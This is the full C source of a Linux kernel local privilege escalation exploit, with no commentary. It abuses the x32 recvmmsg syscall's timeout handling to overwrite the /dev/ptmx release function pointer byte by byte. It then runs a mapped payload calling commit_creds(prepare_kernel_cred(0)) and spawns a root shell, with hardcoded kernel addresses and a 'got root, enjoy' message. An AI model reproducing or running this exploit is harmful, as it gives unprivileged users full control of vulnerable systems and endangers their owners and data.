| 
	 
   
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
#define _GNU_SOURCE  
#include <netinet/ip.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <time.h>  
#include <string.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <sys/socket.h>  
#include <sys/stat.h>  
#include <sys/syscall.h>  
#include <sys/wait.h>  
#include <sys/mman.h>  
    
#define __X32_SYSCALL_BIT 0x40000000  
#undef __NR_recvmmsg  
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)  
    
#define BUFSIZE 200  
#define PAYLOADSIZE 0x2000  
#define FOPS_RELEASE_OFFSET 13*8  
    
  
  
  
  
#define PTMX_FOPS           0xffffffff81fb30c0LL  
#define TTY_RELEASE         0xffffffff8142fec0LL  
#define COMMIT_CREDS        0xffffffff8108ad40LL  
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL  
    
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  
    
  
  
  
  
int __attribute__((regparm(3)))  
kernel_payload(void* foo, void* bar)  
{  
    _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;  
    _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;  
    
    *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1;     
    commit_creds(prepare_kernel_cred(0));  
    
    return -1;  
}  
    
  
  
  
void zero_out(long addr)  
{  
    int sockfd, retval, port, pid, i;  
    struct sockaddr_in sa;  
    char buf[BUFSIZE];  
    struct mmsghdr msgs;  
    struct iovec iovecs;  
    
    srand(time(NULL));  
    
    port = 1024 + (rand() % (0x10000 - 1024));  
    
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);  
    if (sockfd == -1) {  
        perror("socket()");  
        exit(EXIT_FAILURE);  
    }  
    
    sa.sin_family      = AF_INET;  
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);  
    sa.sin_port        = htons(port);  
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {  
        perror("bind()");  
        exit(EXIT_FAILURE);  
    }  
    
    memset(&msgs, 0, sizeof(msgs));  
    iovecs.iov_base         = buf;  
    iovecs.iov_len          = BUFSIZE;  
    msgs.msg_hdr.msg_iov    = &iovecs;  
    msgs.msg_hdr.msg_iovlen = 1;  
    
     
      
      
      
      
    printf("clearing byte at 0x%lx\n", addr);  
    pid = fork();  
    if (pid == 0) {  
        memset(buf, 0x41, BUFSIZE);  
    
        if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {  
            perror("socket()");  
            exit(EXIT_FAILURE);  
        }  
    
        sa.sin_family      = AF_INET;  
        sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);  
        sa.sin_port        = htons(port);  
    
        printf("waiting 255 seconds...\n");  
        for (i = 0; i < 255; i++) {  
        if (i % 10 == 0)  
                printf("%is/255s\n", i);  
        sleep(1);  
        }  
    
        printf("waking up parent...\n");  
        sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));  
        exit(EXIT_SUCCESS);  
    } else if (pid > 0) {  
        retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);  
        if (retval == -1) {  
            printf("address can't be written to, not a valid timespec struct\n");  
            exit(EXIT_FAILURE);  
        }  
        waitpid(pid, 0, 0);  
        printf("byte zeroed out\n");  
    } else {  
      perror("fork()");  
      exit(EXIT_FAILURE);  
    }  
}  
    
int main(int argc, char** argv)  
{  
    long code, target;  
    int pwn;  
    
     
    printf("preparing payload buffer...\n");  
    code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);  
    memset((void*)code, 0x90, PAYLOADSIZE);  
    code += PAYLOADSIZE - 1024;  
    memcpy((void*)code, &kernel_payload, 1024);  
    
     
      
      
      
      
    printf("changing kernel pointer to point into controlled buffer...\n");  
    target = PTMX_FOPS + FOPS_RELEASE_OFFSET;  
    zero_out(target + 7);  
    zero_out(target + 6);  
    zero_out(target + 5);  
    
     
    printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");  
    pwn = open("/dev/ptmx", 'r');  
    close(pwn);  
    
    if (getuid() != 0) {  
        printf("failed to get root :(\n");  
        exit(EXIT_FAILURE);  
    }  
    
    printf("got root, enjoy :)\n");  
    return execl("/bin/bash", "-sh", NULL);  
} 
  
	
  |